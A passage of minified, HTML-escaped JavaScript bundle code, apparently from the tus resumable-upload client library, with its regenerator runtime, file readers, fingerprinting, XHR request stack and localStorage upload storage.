e&amp;&amp;e.constructor;return!!t&amp;&amp;(t===y||&quot;GeneratorFunction&quot;===(t.displayName||t.name))},t.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,x):(e.__proto__=x,d(e,u,&quot;GeneratorFunction&quot;)),e.prototype=Object.create(C),e},t.awrap=function(e){return{__await:e}},A(S.prototype),d(S.prototype,c,function(){return this}),t.AsyncIterator=S,t.async=function(e,s,r,n,o){void 0===o&amp;&amp;(o=Promise);var a=new S(p(e,s,r,n),o);return t.isGeneratorFunction(s)?a:a.next().then(function(e){return e.done?e.value:a.next()})},A(C),d(C,u,&quot;Generator&quot;),d(C,a,function(){return this}),d(C,&quot;toString&quot;,function(){return&quot;[object Generator]&quot;}),t.keys=function(e){var t=Object(e),s=[];for(var r in t)s.push(r);return s.reverse(),function e(){for(;s.length;){var r=s.pop();if(r in t)return e.value=r,e.done=!1,e}return e.done=!0,e}},t.values=I,P.prototype={constructor:P,reset:function(t){if(this.prev=0,this.next=0,this.sent=this._sent=e,this.done=!1,this.delegate=null,this.method=&quot;next&quot;,this.arg=e,this.tryEntries.forEach(B),!t)for(var s in this)&quot;t&quot;===s.charAt(0)&amp;&amp;r.call(this,s)&amp;&amp;!isNaN(+s.slice(1))&amp;&amp;(this[s]=e)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if(&quot;throw&quot;===e.type)throw e.arg;return this.rval},dispatchException:function(t){if(this.done)throw t;var s=this;function n(r,n){return i.type=&quot;throw&quot;,i.arg=t,s.next=r,n&amp;&amp;(s.method=&quot;next&quot;,s.arg=e),!!n}for(var o=this.tryEntries.length-1;o&gt;=0;--o){var a=this.tryEntries[o],i=a.completion;if(&quot;root&quot;===a.tryLoc)return n(&quot;end&quot;);if(a.tryLoc&lt;=this.prev){var l=r.call(a,&quot;catchLoc&quot;),c=r.call(a,&quot;finallyLoc&quot;);if(l&amp;&amp;c){if(this.prev&lt;a.catchLoc)return n(a.catchLoc,!0);if(this.prev&lt;a.finallyLoc)return n(a.finallyLoc)}else if(l){if(this.prev&lt;a.catchLoc)return n(a.catchLoc,!0)}else{if(!c)throw Error(&quot;try statement without catch or finally&quot;);if(this.prev&lt;a.finallyLoc)return n(a.finallyLoc)}}}},abrupt:function(e,t){for(var s=this.tryEntries.length-1;s&gt;=0;--s){var n=this.tryEntries[s];if(n.tryLoc&lt;=this.prev&amp;&amp;r.call(n,&quot;finallyLoc&quot;)&amp;&amp;this.prev&lt;n.finallyLoc){var o=n;break}}o&amp;&amp;(&quot;break&quot;===e||&quot;continue&quot;===e)&amp;&amp;o.tryLoc&lt;=t&amp;&amp;t&lt;=o.finallyLoc&amp;&amp;(o=null);var a=o?o.completion:{};return a.type=e,a.arg=t,o?(this.method=&quot;next&quot;,this.next=o.finallyLoc,v):this.complete(a)},complete:function(e,t){if(&quot;throw&quot;===e.type)throw e.arg;return&quot;break&quot;===e.type||&quot;continue&quot;===e.type?this.next=e.arg:&quot;return&quot;===e.type?(this.rval=this.arg=e.arg,this.method=&quot;return&quot;,this.next=&quot;end&quot;):&quot;normal&quot;===e.type&amp;&amp;t&amp;&amp;(this.next=t),v},finish:function(e){for(var t=this.tryEntries.length-1;t&gt;=0;--t){var s=this.tryEntries[t];if(s.finallyLoc===e)return this.complete(s.completion,s.afterLoc),B(s),v}},catch:function(e){for(var t=this.tryEntries.length-1;t&gt;=0;--t){var s=this.tryEntries[t];if(s.tryLoc===e){var r=s.completion;if(&quot;throw&quot;===r.type){var n=r.arg;B(s)}return n}}throw Error(&quot;illegal catch attempt&quot;)},delegateYield:function(t,s,r){return this.delegate={iterator:I(t),resultName:s,nextLoc:r},&quot;next&quot;===this.method&amp;&amp;(this.arg=e),v}},t}function c(e,t,s,r,n,o,a){try{var i=e[o](a),l=i.value}catch(e){return void s(e)}i.done?t(l):Promise.resolve(l).then(r,n)}function u(e,t){for(var s=0;s&lt;t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,&quot;value&quot;in r&amp;&amp;(r.writable=!0),Object.defineProperty(e,d(r.key),r)}}function d(e){var t=function(e,t){if(&quot;object&quot;!=i(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var r=s.call(e,t||&quot;default&quot;);if(&quot;object&quot;!=i(r))return r;throw new TypeError(&quot;@@toPrimitive must return a primitive value.&quot;)}return(&quot;string&quot;===t?String:Number)(e)}(e,&quot;string&quot;);return&quot;symbol&quot;==i(t)?t:t+&quot;&quot;}var p=function(){return e=function e(){!function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,e)},t=[{key:&quot;openFile&quot;,value:(i=l().mark(function e(t,s){var i;return l().wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(!(0,r.A)()||!t||void 0===t.uri){e.next=11;break}return e.prev=1,e.next=4,(0,n.A)(t.uri);case 4:return i=e.sent,e.abrupt(&quot;return&quot;,new o.A(i));case 8:throw e.prev=8,e.t0=e.catch(1),new Error(&quot;tus: cannot fetch `file.uri` as Blob, make sure the uri is correct and accessible. &quot;.concat(e.t0));case 11:if(&quot;function&quot;!=typeof t.slice||void 0===t.size){e.next=13;break}return e.abrupt(&quot;return&quot;,Promise.resolve(new o.A(t)));case 13:if(&quot;function&quot;!=typeof t.read){e.next=18;break}if(s=Number(s),Number.isFinite(s)){e.next=17;break}return e.abrupt(&quot;return&quot;,Promise.reject(new Error(&quot;cannot create source for stream without a finite value for the `chunkSize` option&quot;)));case 17:return e.abrupt(&quot;return&quot;,Promise.resolve(new a.A(t,s)));case 18:return e.abrupt(&quot;return&quot;,Promise.reject(new Error(&quot;source object may only be an instance of File, Blob, or Reader in this environment&quot;)));case 19:case&quot;end&quot;:return e.stop()}},e,null,[[1,8]])}),d=function(){var e=this,t=arguments;return new Promise(function(s,r){var n=i.apply(e,t);function o(e){c(n,s,r,o,a,&quot;next&quot;,e)}function a(e){c(n,s,r,o,a,&quot;throw&quot;,e)}o(void 0)})},function(_x,e){return d.apply(this,arguments)})}],t&amp;&amp;u(e.prototype,t),s&amp;&amp;u(e,s),Object.defineProperty(e,&quot;prototype&quot;,{writable:!1}),e;var e,t,s,i,d}()},33765(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(74085);function n(e,t){return(0,r.A)()?Promise.resolve(function(e,t){var s=e.exif?function(e){var t=0;if(0===e.length)return t;for(var s=0;s&lt;e.length;s++){t=(t&lt;&lt;5)-t+e.charCodeAt(s),t&amp;=t}return t}(JSON.stringify(e.exif)):&quot;noexif&quot;;return[&quot;tus-rn&quot;,e.name||&quot;noname&quot;,e.size||&quot;nosize&quot;,s,t.endpoint].join(&quot;/&quot;)}(e,t)):Promise.resolve([&quot;tus-br&quot;,e.name,e.type,e.size,e.lastModified,t.endpoint].join(&quot;-&quot;))}},45369(e,t,s){&quot;use strict&quot;;function r(e){return r=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},r(e)}function n(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}function o(e,t){for(var s=0;s&lt;t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,&quot;value&quot;in r&amp;&amp;(r.writable=!0),Object.defineProperty(e,i(r.key),r)}}function a(e,t,s){return t&amp;&amp;o(e.prototype,t),s&amp;&amp;o(e,s),Object.defineProperty(e,&quot;prototype&quot;,{writable:!1}),e}function i(e){var t=function(e,t){if(&quot;object&quot;!=r(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var n=s.call(e,t||&quot;default&quot;);if(&quot;object&quot;!=r(n))return n;throw new TypeError(&quot;@@toPrimitive must return a primitive value.&quot;)}return(&quot;string&quot;===t?String:Number)(e)}(e,&quot;string&quot;);return&quot;symbol&quot;==r(t)?t:t+&quot;&quot;}s.d(t,{A:()=&gt;l});var l=function(){return a(function e(){n(this,e)},[{key:&quot;createRequest&quot;,value:function(e,t){return new c(e,t)}},{key:&quot;getName&quot;,value:function(){return&quot;XHRHttpStack&quot;}}])}(),c=function(){return a(function e(t,s){n(this,e),this._xhr=new XMLHttpRequest,this._xhr.open(t,s,!0),this._method=t,this._url=s,this._headers={}},[{key:&quot;getMethod&quot;,value:function(){return this._method}},{key:&quot;getURL&quot;,value:function(){return this._url}},{key:&quot;setHeader&quot;,value:function(e,t){this._xhr.setRequestHeader(e,t),this._headers[e]=t}},{key:&quot;getHeader&quot;,value:function(e){return this._headers[e]}},{key:&quot;setProgressHandler&quot;,value:function(e){&quot;upload&quot;in this._xhr&amp;&amp;(this._xhr.upload.onprogress=function(t){t.lengthComputable&amp;&amp;e(t.loaded)})}},{key:&quot;send&quot;,value:function(){var e=this,t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:null;return new Promise(function(s,r){e._xhr.onload=function(){s(new u(e._xhr))},e._xhr.onerror=function(e){r(e)},e._xhr.send(t)})}},{key:&quot;abort&quot;,value:function(){return this._xhr.abort(),Promise.resolve()}},{key:&quot;getUnderlyingObject&quot;,value:function(){return this._xhr}}])}(),u=function(){return a(function e(t){n(this,e),this._xhr=t},[{key:&quot;getStatus&quot;,value:function(){return this._xhr.status}},{key:&quot;getHeader&quot;,value:function(e){return this._xhr.getResponseHeader(e)}},{key:&quot;getBody&quot;,value:function(){return this._xhr.responseText}},{key:&quot;getUnderlyingObject&quot;,value:function(){return this._xhr}}])}()},10781(e,t,s){&quot;use strict&quot;;s.d(t,{_O:()=&gt;y});var r=s(52494),n=s(82701),o=s(91016),a=s(33765),i=s(45369),l=s(10851);function c(e){return c=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},c(e)}function u(e,t){for(var s=0;s&lt;t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,&quot;value&quot;in r&amp;&amp;(r.writable=!0),Object.defineProperty(e,v(r.key),r)}}function d(e,t,s){return t=h(t),function(e,t){if(t&amp;&amp;(&quot;object&quot;===c(t)||&quot;function&quot;==typeof t))return t;if(void 0!==t)throw new TypeError(&quot;Derived constructors may only return object or undefined&quot;);return function(e){if(void 0===e)throw new ReferenceError(&quot;this hasn&#039;t been initialised - super() hasn&#039;t been called&quot;);return e}(e)}(e,p()?Reflect.construct(t,s||[],h(e).constructor):t.apply(e,s))}function p(){try{var e=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch(e){}return(p=function(){return!!e})()}function h(e){return h=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(e){return e.__proto__||Object.getPrototypeOf(e)},h(e)}function m(e,t){return m=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e},m(e,t)}function g(e,t){var s=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&amp;&amp;(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),s.push.apply(s,r)}return s}function f(e){for(var t=1;t&lt;arguments.length;t++){var s=null!=arguments[t]?arguments[t]:{};t%2?g(Object(s),!0).forEach(function(t){b(e,t,s[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(s)):g(Object(s)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(s,t))})}return e}function b(e,t,s){return(t=v(t))in e?Object.defineProperty(e,t,{value:s,enumerable:!0,configurable:!0,writable:!0}):e[t]=s,e}function v(e){var t=function(e,t){if(&quot;object&quot;!=c(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var r=s.call(e,t||&quot;default&quot;);if(&quot;object&quot;!=c(r))return r;throw new TypeError(&quot;@@toPrimitive must return a primitive value.&quot;)}return(&quot;string&quot;===t?String:Number)(e)}(e,&quot;string&quot;);return&quot;symbol&quot;==c(t)?t:t+&quot;&quot;}var k=f(f({},n.A.defaultOptions),{},{httpStack:new i.A,fileReader:new o.A,urlStorage:l.o?new l.Y:new r.A,fingerprint:a.A}),y=function(e){function t(){var e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:null,s=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};return function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,t),d(this,t,[e,s=f(f({},k),s)])}return function(e,t){if(&quot;function&quot;!=typeof t&amp;&amp;null!==t)throw new TypeError(&quot;Super expression must either be null or a function&quot;);e.prototype=Object.create(t&amp;&amp;t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,&quot;prototype&quot;,{writable:!1}),t&amp;&amp;m(e,t)}(t,e),s=t,o=[{key:&quot;terminate&quot;,value:function(e){var t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};return t=f(f({},k),t),n.A.terminate(e,t)}}],(r=null)&amp;&amp;u(s.prototype,r),o&amp;&amp;u(s,o),Object.defineProperty(s,&quot;prototype&quot;,{writable:!1}),s;var s,r,o}(n.A);&quot;function&quot;==typeof XMLHttpRequest&amp;&amp;&quot;function&quot;==typeof Blob&amp;&amp;Blob.prototype.slice},74085(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=function(){return&quot;undefined&quot;!=typeof navigator&amp;&amp;&quot;string&quot;==typeof navigator.product&amp;&amp;&quot;reactnative&quot;===navigator.product.toLowerCase()}},33569(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(73716),n=s(79427);function o(e){return o=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},o(e)}function a(e,t){for(var s=0;s&lt;t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,&quot;value&quot;in r&amp;&amp;(r.writable=!0),Object.defineProperty(e,i(r.key),r)}}function i(e){var t=function(e,t){if(&quot;object&quot;!=o(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var r=s.call(e,t||&quot;default&quot;);if(&quot;object&quot;!=o(r))return r;throw new TypeError(&quot;@@toPrimitive must return a primitive value.&quot;)}return(&quot;string&quot;===t?String:Number)(e)}(e,&quot;string&quot;);return&quot;symbol&quot;==o(t)?t:t+&quot;&quot;}var l=function(){return e=function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,e),this._file=t,this.size=t.size},(t=[{key:&quot;slice&quot;,value:function(e,t){if((0,r.A)())return(0,n.A)(this._file.slice(e,t));var s=this._file.slice(e,t),o=t&gt;=this.size;return Promise.resolve({value:s,done:o})}},{key:&quot;close&quot;,value:function(){}}])&amp;&amp;a(e.prototype,t),s&amp;&amp;a(e,s),Object.defineProperty(e,&quot;prototype&quot;,{writable:!1}),e;var e,t,s}()},30615(e,t,s){&quot;use strict&quot;;function r(e){return r=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},r(e)}function n(e,t){for(var s=0;s&lt;t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,&quot;value&quot;in r&amp;&amp;(r.writable=!0),Object.defineProperty(e,o(r.key),r)}}function o(e){var t=function(e,t){if(&quot;object&quot;!=r(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var n=s.call(e,t||&quot;default&quot;);if(&quot;object&quot;!=r(n))return n;throw new TypeError(&quot;@@toPrimitive must return a primitive value.&quot;)}return(&quot;string&quot;===t?String:Number)(e)}(e,&quot;string&quot;);return&quot;symbol&quot;==r(t)?t:t+&quot;&quot;}function a(e){return void 0===e?0:void 0!==e.size?e.size:e.length}s.d(t,{A:()=&gt;i});var i=function(){return e=function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,e),this._buffer=void 0,this._bufferOffset=0,this._reader=t,this._done=!1},(t=[{key:&quot;slice&quot;,value:function(e,t){return e&lt;this._bufferOffset?Promise.reject(new Error(&quot;Requested data is before the reader&#039;s current offset&quot;)):this._readUntilEnoughDataOrDone(e,t)}},{key:&quot;_readUntilEnoughDataOrDone&quot;,value:function(e,t){var s=this,r=t&lt;=this._bufferOffset+a(this._buffer);if(this._done||r){var n=this._getDataFromBuffer(e,t),o=null==n&amp;&amp;this._done;return Promise.resolve({value:n,done:o})}return this._reader.read().then(function(r){var n=r.value;return r.done?s._done=!0:void 0===s._buffer?s._buffer=n:s._buffer=function(e,t){if(e.concat)return e.concat(t);if(e instanceof Blob)return new Blob([e,t],{type:e.type});if(e.set){var s=new e.constructor(e.length+t.length);return s.set(e),s.set(t,e.length),s}throw new Error(&quot;Unknown data type&quot;)}(s._buffer,n),s._readUntilEnoughDataOrDone(e,t)})}},{key:&quot;_getDataFromBuffer&quot;,value:function(e,t){e&gt;this._bufferOffset&amp;&amp;(this._buffer=this._buffer.slice(e-this._bufferOffset),this._bufferOffset=e);var s=0===a(this._buffer);return this._done&amp;&amp;s?null:this._buffer.slice(0,t-e)}},{key:&quot;close&quot;,value:function(){this._reader.cancel&amp;&amp;this._reader.cancel()}}])&amp;&amp;n(e.prototype,t),s&amp;&amp;n(e,s),Object.defineProperty(e,&quot;prototype&quot;,{writable:!1}),e;var e,t,s}()},73716(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=function(){return&quot;undefined&quot;!=typeof window&amp;&amp;(void 0!==window.PhoneGap||void 0!==window.Cordova||void 0!==window.cordova)}},79427(e,t,s){&quot;use strict&quot;;function r(e){return new Promise(function(t,s){var r=new FileReader;r.onload=function(){var e=new Uint8Array(r.result);t({value:e})},r.onerror=function(e){s(e)},r.readAsArrayBuffer(e)})}s.d(t,{A:()=&gt;r})},55217(e,t,s){&quot;use strict&quot;;function r(e){return new Promise(function(t,s){var r=new XMLHttpRequest;r.responseType=&quot;blob&quot;,r.onload=function(){var e=r.response;t(e)},r.onerror=function(e){s(e)},r.open(&quot;GET&quot;,e),r.send()})}s.d(t,{A:()=&gt;r})},10851(e,t,s){&quot;use strict&quot;;function r(e){return r=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},r(e)}function n(e,t){for(var s=0;s&lt;t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,&quot;value&quot;in r&amp;&amp;(r.writable=!0),Object.defineProperty(e,o(r.key),r)}}function o(e){var t=function(e,t){if(&quot;object&quot;!=r(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var n=s.call(e,t||&quot;default&quot;);if(&quot;object&quot;!=r(n))return n;throw new TypeError(&quot;@@toPrimitive must return a primitive value.&quot;)}return(&quot;string&quot;===t?String:Number)(e)}(e,&quot;string&quot;);return&quot;symbol&quot;==r(t)?t:t+&quot;&quot;}s.d(t,{Y:()=&gt;u,o:()=&gt;c});var a=!1;try{a=&quot;localStorage&quot;in window;var i=&quot;tusSupport&quot;,l=localStorage.getItem(i);localStorage.setItem(i,l),null===l&amp;&amp;localStorage.removeItem(i)}catch(e){if(e.code!==e.SECURITY_ERR&amp;&amp;e.code!==e.QUOTA_EXCEEDED_ERR)throw e;a=!1}var c=a,u=function(){return e=function e(){!function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,e)},t=[{key:&quot;findAllUploads&quot;,value:function(){var e=this._findEntries(&quot;tus::&quot;);return Promise.resolve(e)}},{key:&quot;findUploadsByFingerprint&quot;,value:function(e){var t=this._findEntries(&quot;tus::&quot;.concat(e,&quot;::&quot;));return Promise.resolve(t)}},{key:&quot;removeUpload&quot;,value:function(e){return localStorage.removeItem(e),Promise.resolve()}},{key:&quot;addUpload&quot;,value:function(e,t){var s=Math.round(1e12*Math.random()),r=&quot;tus::&quot;.concat(e,&quot;::&quot;).concat(s);return localStorage.setItem(r,JSON.stringify(t)),Promise.resolve(r)}},{key:&quot;_findEntries&quot;,value:function(e){for(var t=[],s=0;s&lt;localStorage.length;s++){var r=localStorage.key(s);if(0===r.indexOf(e))try{var n=JSON.parse(localStorage.getItem(r));n.urlStorageKey=r,t.push(n)}catch(e){}}return t}}],t&amp;&amp;n(e.prototype,t),s&amp;&amp;n(e,s),Object.defineProperty(e,&quot;prototype&quot;,{writable:!1}),e;var e,t,s}()},33004(e,t,s){&quot;use strict&quot;;function r(e){return r=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},r(e)}function n(e,t){for(var s=0;s&lt;t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,&quot;value&quot;in r&amp;&amp;(r.writable=!0),Object.defineProperty(e,o(r.key),r)}}function o(e){var t=function(e,t){if(&quot;object&quot;!=r(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var n=s.call(e,t||&quot;default&quot;);if(&quot;object&quot;!=r(n))return n;throw new TypeError(&quot;@@toPrimitive must return a primitive value.&quot;)}return(&quot;string&quot;===t?String:Number)(e)}(e,&quot;string&quot;);return&quot;symbol&quot;==r(t)?t:t+&quot;&quot;}function a(e,t,s){return t=u(t),function(e,t){if(t&amp;&amp;(&quot;object&quot;===r(t)||&quot;function&quot;==typeof t))return t;if(void 0!==t)throw new TypeError(&quot;Derived constructors may only return object or undefined&quot;);return function(e){if(void 0===e)throw new ReferenceError(&quot;this hasn&#039;t been initialised - super() hasn&#039;t been called&quot;);return e}(e)}(e,l()?Reflect.construct(t,s||[],u(e).constructor):t.apply(e,s))}function i(e){var t=&quot;function&quot;==typeof Map?new Map:void 0;return i=function(e){if(null===e||!function(e){try{return-1!==Function.toString.call(e).indexOf(&quot;[native code]&quot;)}catch(t){return&quot;function&quot;==typeof e}}(e))return e;if(&quot;function&quot;!=typeof e)throw new TypeError(&quot;Super expression must either be null or a function&quot;);if(void 0!==t){if(t.has(e))return t.get(e);t.set(e,s)}function s(){return function(e,t,s){if(l())return Reflect.construct.apply(null,arguments);var r=[null];r.push.apply(r,t);var n=new(e.bind.apply(e,r));return s&amp;&amp;c(n,s.prototype),n}(e,arguments,u(this).constructor)}return s.prototype=Object.create(e.prototype,{constructor:{value:s,enumerable:!1,writable:!0,configurable:!0}}),c(s,e)},i(e)}function l(){try{var e=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch(e){}return(l=function(){return!!e})()}function c(e,t){return c=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e},c(e,t)}function u(e){return u=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(e){return e.__proto__||Object.getPrototypeOf(e)},u(e)}s.d(t,{A:()=&gt;p});var d=function(e){function t(e){var s,r=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:null,n=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:null,o=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:null;if(function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,t),(s=a(this,t,[e])).originalRequest=n,s.originalResponse=o,s.causingError=r,null!=r&amp;&amp;(e+=&quot;, caused by &quot;.concat(r.toString())),null!=n){var i=n.getHeader(&quot;X-Request-ID&quot;)||&quot;n/a&quot;,l=n.getMethod(),c=n.getURL(),u=o?o.getStatus():&quot;n/a&quot;,d=o?o.getBody()||&quot;&quot;:&quot;n/a&quot;;e+=&quot;, originated from request (method: &quot;.concat(l,&quot;, url: &quot;).concat(c,&quot;, response code: &quot;).concat(u,&quot;, response text: &quot;).concat(d,&quot;, request id: &quot;).concat(i,&quot;)&quot;)}return s.message=e,s}return function(e,t){if(&quot;function&quot;!=typeof t&amp;&amp;null!==t)throw new TypeError(&quot;Super expression must either be null or a function&quot;);e.prototype=Object.create(t&amp;&amp;t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,&quot;prototype&quot;,{writable:!1}),t&amp;&amp;c(e,t)}(t,e),s=t,r&amp;&amp;n(s.prototype,r),o&amp;&amp;n(s,o),Object.defineProperty(s,&quot;prototype&quot;,{writable:!1}),s;var s,r,o}(i(Error));const p=d},12380(e,t,s){&quot;use strict&quot;;s.d(t,{R:()=&gt;n});var r=!1;function n(e){r&amp;&amp;console.log(e)}},52494(e,t,s){&quot;use strict&quot;;function r(e){return r=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},r(e)}function n(e,t){for(var s=0;s&lt;t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,&quot;value&quot;in r&amp;&amp;(r.writable=!0),Object.defineProperty(e,o(r.key),r)}}function o(e){var t=function(e,t){if(&quot;object&quot;!=r(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var n=s.call(e,t||&quot;default&quot;);if(&quot;object&quot;!=r(n))return n;throw new TypeError(&quot;@@toPrimitive must return a primitive value.&quot;)}return(&quot;string&quot;===t?String:Number)(e)}(e,&quot;string&quot;);return&quot;symbol&quot;==r(t)?t:t+&quot;&quot;}s.d(t,{A:()=&gt;a});var a=function(){return e=function e(){!function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,e)},(t=[{key:&quot;listAllUploads&quot;,value:function(){return Promise.resolve([])}},{key:&quot;findUploadsByFingerprint&quot;,value:function(e){return Promise.resolve([])}},{key:&quot;removeUpload&quot;,value:function(e){return Promise.resolve()}},{key:&quot;addUpload&quot;,value:function(e,t){return Promise.resolve(null)}}])&amp;&amp;n(e.prototype,t),s&amp;&amp;n(e,s),Object.defineProperty(e,&quot;prototype&quot;,{writable:!1}),e;var e,t,s}()},82701(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;P});var r=s(59535),n=s(76580),o=s.n(n),a=s(33004),i=s(12380),l=s(17291);function c(){c=function(){return t};var e,t={},s=Object.prototype,r=s.hasOwnProperty,n=Object.defineProperty||function(e,t,s){e[t]=s.value},o=&quot;function&quot;==typeof Symbol?Symbol:{},a=o.iterator||&quot;@@iterator&quot;,i=o.asyncIterator||&quot;@@asyncIterator&quot;,l=o.toStringTag||&quot;@@toStringTag&quot;;function u(e,t,s){return Object.defineProperty(e,t,{value:s,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{u({},&quot;&quot;)}catch(e){u=function(e,t,s){return e[t]=s}}function d(e,t,s,r){var o=t&amp;&amp;t.prototype instanceof k?t:k,a=Object.create(o.prototype),i=new P(r||[]);return n(a,&quot;_invoke&quot;,{value:E(e,s,i)}),a}function h(e,t,s){try{return{type:&quot;normal&quot;,arg:e.call(t,s)}}catch(e){return{type:&quot;throw&quot;,arg:e}}}t.wrap=d;var m=&quot;suspendedStart&quot;,g=&quot;suspendedYield&quot;,f=&quot;executing&quot;,b=&quot;completed&quot;,v={};function k(){}function y(){}function x(){}var j={};u(j,a,function(){return this});var w=Object.getPrototypeOf,_=w&amp;&amp;w(w(I([])));_&amp;&amp;_!==s&amp;&amp;r.call(_,a)&amp;&amp;(j=_);var C=x.prototype=k.prototype=Object.create(j);function A(e){[&quot;next&quot;,&quot;throw&quot;,&quot;return&quot;].forEach(function(t){u(e,t,function(e){return this._invoke(t,e)})})}function S(e,t){function s(n,o,a,i){var l=h(e[n],e,o);if(&quot;throw&quot;!==l.type){var c=l.arg,u=c.value;return u&amp;&amp;&quot;object&quot;==p(u)&amp;&amp;r.call(u,&quot;__await&quot;)?t.resolve(u.__await).then(function(e){s(&quot;next&quot;,e,a,i)},function(e){s(&quot;throw&quot;,e,a,i)}):t.resolve(u).then(function(e){c.value=e,a(c)},function(e){return s(&quot;throw&quot;,e,a,i)})}i(l.arg)}var o;n(this,&quot;_invoke&quot;,{value:function(e,r){function n(){return new t(function(t,n){s(e,r,t,n)})}return o=o?o.then(n,n):n()}})}function E(t,s,r){var n=m;return function(o,a){if(n===f)throw Error(&quot;Generator is already running&quot;);if(n===b){if(&quot;throw&quot;===o)throw a;return{value:e,done:!0}}for(r.method=o,r.arg=a;;){var i=r.delegate;if(i){var l=N(i,r);if(l){if(l===v)continue;return l}}if(&quot;next&quot;===r.method)r.sent=r._sent=r.arg;else if(&quot;throw&quot;===r.method){if(n===m)throw 